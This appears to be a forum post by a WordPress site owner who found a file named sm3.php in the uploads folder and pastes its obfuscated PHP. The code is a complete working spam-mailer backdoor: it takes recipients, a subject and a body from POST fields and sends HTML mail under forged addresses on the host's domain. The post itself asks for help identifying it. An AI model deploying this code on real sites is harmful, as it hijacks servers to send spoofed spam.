i found a strange file in the /wp-content/uploads folder called: sm3.php. It has some weird code in it :
<?php $v92eb5ffe = $v03c7c0ac = $ve358efa4 = $v4a8a08f0 = ''; if (($v9b207167 = nc4f822fe()) != 0) die(PHP_OS . "10+$v9b207167"); if ( !n6fe85b85() ) { die(PHP_OS . " 20+1"); } else { echo "OK" . md5(1234567890); } function ne667da76($v957b527b){ return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b); } function nc4f822fe() { global $v03c7c0ac, $v92eb5ffe, $ve358efa4, $v4a8a08f0; $v10ae9fc7 = array(); if (!isset($_POST['l']) || !isset($_POST['d'])) return 1; $v10ae9fc7 = explode(";", $_POST['l']); $v8d777f38 = $_POST['d']; $vf7bd60b7 = count($v10ae9fc7); $v4a8a08f0 = $ve358efa4 = ''; foreach ($v10ae9fc7 as $v865c0c0b=>$v6f8f5771) { if ($v865c0c0b == 0) { $ve358efa4 = $v6f8f5771; continue; } if ($v865c0c0b > 1) $v4a8a08f0 .= ","; $v4a8a08f0 .= $v6f8f5771; } $v10ae9fc7 = preg_split("/~~/", $_POST['d'], -1, PREG_SPLIT_DELIM_CAPTURE); if (count($v10ae9fc7) != 2) return 2; $v03c7c0ac = $v10ae9fc7[0]; $v92eb5ffe = stripslashes($v10ae9fc7[1]); return 0; } function n6fe85b85() { global $v03c7c0ac, $v92eb5ffe, $ve358efa4, $v4a8a08f0; $v10497e3f = true; $v86c61d25 = array('www','admin','service','info','support','billing','mail','news','rss','user','sales','sale','customers','contact','operator'); if (ne667da76($_SERVER['SERVER_NAME'])) { $v2510c390 = ''; $v10497e3f = false; } else { $vd98a07f8 = $v86c61d25[rand(0, count($v86c61d25)-1)].rand(0,9).rand(0,9).rand(0,9)."@".$_SERVER['SERVER_NAME']; $v2510c390 = "From: $vd98a07f8\r\n"; } if (((strtolower(@ini_get('safe_mode')) == 'on') || (strtolower(@ini_get('safe_mode')) == 'yes') || (strtolower(@ini_get('safe_mode')) == 'true') || (ini_get("safe_mode") == 1 ))) { $v10497e3f = false; } if ($v4a8a08f0 != "" ) { $v2510c390 .= "Cc: $v4a8a08f0\r\n"; } $v2510c390 .= "Content-Type: text/html; charset=Latin1\r\n"; $v2510c390 = addslashes($v2510c390); if ($v10497e3f) { return mail($ve358efa4, $v03c7c0ac, $v92eb5ffe, $v2510c390, "-f$vd98a07f8"); } else { return mail($ve358efa4, $v03c7c0ac, $v92eb5ffe, $v2510c390); } } ?>